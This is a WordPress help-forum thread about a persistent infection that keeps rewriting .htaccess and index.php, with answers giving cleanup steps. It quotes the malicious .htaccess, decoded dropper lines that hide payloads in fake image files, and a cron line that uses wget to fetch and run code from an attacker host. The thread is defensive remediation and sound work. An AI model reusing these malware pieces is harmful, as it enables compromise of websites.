Question 166275 in Wordpress Question posted in
The official Wordpress documentation can be found here.

Has your WordPress .htaccess file been hacked?

I have a WordPress site that features a .htaccess and a file called postfs.php.

But when I try to delete them, they are written again. I tried to delete all the files on the site, change permissions, check the cron … but there isn’t anything to do. These files appear as soon as I delete or edit them.

The contents of the file are as follows:

File .htaccess

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
    Order allow,deny
    Allow from all
</FilesMatch>

AddType application/x-httpd-cgi .sh

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>

And the postfs.php file has this content: PHP Decode

How can I avoid the restoring of these files?

Tags:

11

Answers


  1. 0

    In the first step, you should find the shell file (your host provider can do it with antisheller).

    1. remove unused theme and plugin in the WordPress installation

    2. log in in the SSH area and run this command:

      find /home/.../wordpres_directory -type f -name ".htaccess" -delete

    3. open the updated page with this link:
      youdomain/tld/wp-admin/update-core.php?action=do-core-reinstall

    If you still see the problem, you should do step 2 and 3.

    Your server needs a security configuration. Call the host provider to secure the server.

    Login or Signup to reply.
  2. 0

    You must search for every .htaccess file. Use an FTP client and delete it (almost 5000 in my case). Upgrade plugins to solve security breaks.

    Login or Signup to reply.
  3. 0

    This was how I solved this:

    1. First isolate the website to my IP address so I could work alone.
    2. Removed WP installed, but kept wp-content.
    3. Updated WP manual through FTP.
    4. Repair / recreate DB.
    5. Deactivate all plugins.
    6. Disable themes. The simplest way is just to temporary change the name on the themes folder to _theme instead of themes.
    7. Update all plugins.
    8. Checked active theme folder for changed date. I found a folder in my inc folder that had a index.php and forge.php. I removed those.
    9. Lastly I checked the root folder again and found a folder called CSS. I removed that as well since that also had PHP files that did not belong.
    10. Removed .htaccess files according to above.
    11. Recreated .htaccess file.
    12. Activated all plugins and themes.
    13. Checked once more for file changes if I had missed anything.
    14. Allow traffic to site once more and keep an eye on access.log for weird requests.

    Maybe this wouldn’t help everyone, but this worked fine for me and no traces are left.

    Login or Signup to reply.
  4. 0

    Ultimately… none of them work. Follow this option and keep monitoring the .htaccess and index.php files in the respective domain folder where you see this issue.

    1. Don’t uninstall or drop the WordPress installation. All the records stored will be gone.

    2. Take a backup of the DB file from MySQL, by looking for the DB mapped to the domain

    3. Now create a new sub-domain

    4. Install WordPress mapped to the sub-domain

    5. Import the db to the newly created DB (against the new WordPress instance)

    6. Create the respective views… you will have to open the SQL file and change the user / dbname against the views created and manually restore them

    7. Once all the above done, now open the table wpxx_options and update the two records with the new sub-domain name

    8. Now go to WordPress and add the theme which you had installed earlier [don’t use a new one]

    9. Install only the required plugins and not all as you did earlier installation

    10. go to the wp_content folder (from the earlier installation) and get all the media files and copy them to the wp_content folder (1999, 2000, 20xx, …) folders is what I meant and not all

    11. finally go to your wp-config.php file and change the table prefix to the new one

      //$table_prefix = 'wpxx_'; // Old one
$table_prefix = 'wp1234_'; // New one

    With this I think it should work.

    I had tried by removing the files and uninstalling all, including domain and restored… the same junk information gets updated in the two files (.htaccess and index.php)… so I had to follow the above steps. It’s working for now, and I have to keep monitoring the above files.

    Login or Signup to reply.
  5. 0

    You might have a cronjob that keeps on adding the .htaccess files. look out for a cronjob with a Wget request to hello.turnedpro.xyz.

    If you are using cPanel, you can reset your cPanel account password and run anti-malware scan for any keyloggers/malware, e.g., RedLine Stealer.

    Login or Signup to reply.
  6. 0

    If files start reappearing after you deleted them you should look out for lines of code—often in the index.php file—where a time-limit or a TTL (time to live) is specified, along with a (most of the time) very long line of Base64 code. (These are often recognizable by a couple of shorter lines of code with ‘equal-to’ signs in the middle.)

    The way this works is the time-limit / TTL makes sure all files are held up against a reference set of files located either on another URL or in the web servers cache, and if one is missing it will sync itself back.

    One thing you can do to solve this is deleting the script together with restarting Apache and PHP / nginx. This cleans out the web servers cache.

    After that, you can clean out the malicious deny allow rules and stuff that’s in the .htaccess files and probably other stuff that’s lurking between the files and folders of your web application.

    Bonus suggestions to really try and solve the actual security issue here:

    1. Always make sure all software, plugins, modules, themes, etc. is up-to-date. Don’t miss out on any security patches!

    2. Make sure to change every password on every account providing access to your web application. (don’t forget the FTP accounts and backend panels and stuff).

    3. Try to run a malware scan (if you have a shared hosting package you might do so through a security plugin, or ask your hosting company to run one)

    4. Make sure there aren’t any users, plugins, or any other possibly malicious components you’ve never heard of and haven’t installed!

    5. At least make sure to check the root folder, all upload folders, and the temporary folders for malicious files.

    Login or Signup to reply.
  7. 0

    I had the very same problem. In my case, I had several WordPress sites under one user. It was very convenient for me to maintain the sites, but it made the clean up more tricky, sort of whack a mole situation.

    Both malicious .htaccess and index.php were regenerating as soon as they were deleted. What I did was look for all the radio.php and about.php with malicious code (easy to find because they are bigger in size and out of place) and also found some folders called "maint" with files with malicious code. After cleaning this, the .htaccess file and index.php infected did not regenerate anymore, so after copying the fresh WordPress files, everything was fine, and was able to access wp-admin correctly.

    In one particular WordPress folder, even deleting all the files, infected .htaccess and index.php files were still regenerating, so I deleted the root folder containing the WordPress install and created a new one with a different name, and after pointing the domain name to the new folder, voila! All was fine!

    Login or Signup to reply.
  8. 0

    Today I found a WordPress 5.7.5 installation infected. All .htaccess files had permissions for malicious files in the whole menu panel.

    I then backed up everything and found several files with strange names that were infected in the root and other locations. I removed, I changed all the passwords, I downloaded the official installation WordPress 5.7.5, I deleted the WP-admin folder and I sent from the official installation in this Panel normalized.

    I could update all the plugins, so I did the same with WP-includes. I already requested the WP-content the hosting that runs the find command to delete all .htaccess files, so I did upgrade to a new version.

    Login or Signup to reply.
  9. 0

    I had the same problem and the antivirus was not able to detect it. And also the problem of automatically creating files was not related to cron jobs, as friends mentioned.

    In fact, every time a page is opened from the site, those files are rebuilt.

    I have carefully examined the issue and offer the solution.

    The problem occurs for both .htaccess and index.php.

    .htaccess infected file

    index.php infected file

    First we search for a keyword in the text of the file (as root):

    grep -lir "wjsindex.php" ./

    Output:

    ./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess

    For another file, we search for a keyword in the text:

    grep -lir "RZXiMOEbYmVH" ./

    Output:

    ./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif

    If you look at the contents of these found image files, you will see that they are not images and contain malicious code that exactly matched our two original files.

    Sample:

    Sample malicious arrow-rights.png file

    Sample malicious arrow-lefts.png file

    We now search for all four files found:

    grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./

    Output:

    ./wp-includes/load.php
./wp-includes/template-loader.php

    If you edit these two results files:

    At the bottom of the file load.php and at the beginning of the file template-loader.php, you will see the extra code that needs to be removed. (Starting with //ckIIbg)

    diff wp-includes/load.php files

    diff wp-includes/template-loader.php files

    To find out more exactly which sections are correct and which are malicious, just replace that file from another WordPress that you are sure is safe and the same version, or find and remove the extra sections with the diff command.

    Thus:

    diff  ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff  ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php

    And as a final step, delete the four malicious image files:

    rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif

    And also check cronjobs (/var/spool/cron/username) for be like this infected line and remove it:

    * * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd

    This code create a ./css/index.php file and can be deleted.

    Login or Signup to reply.
  10. 0

    We had the same exact hack a while ago.
    The first step is to decode the index.php file, and after decoding we see that there are four infected image files:

    file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);

    First delete the infected four images, and check your cron and delete any cron job you didn’t create.

    Run this in a SSH session to delete all .htaccess files within all sub directories:

    find . -type f -perm 0444 -name ".htaccess" -exec echo rm {} ;

    Use the default WordPress .htaccess, and index.php files.

    After finishing, you can install Wordfence, and activate the firewall, also don’t forget to update your WordPress core, plugins, and themes.

    Login or Signup to reply.
  11. 0

    I solved the problem.

    Create a new FTP account and edit .htaccess and index.php with FileZilla. Then you should delete wp-admin and upload the new file and folder by a new version of WordPress. Also wp-include. And then you can.

    Login or Signup to reply.
Please signup or login to give your own answer.

Back To Top
Search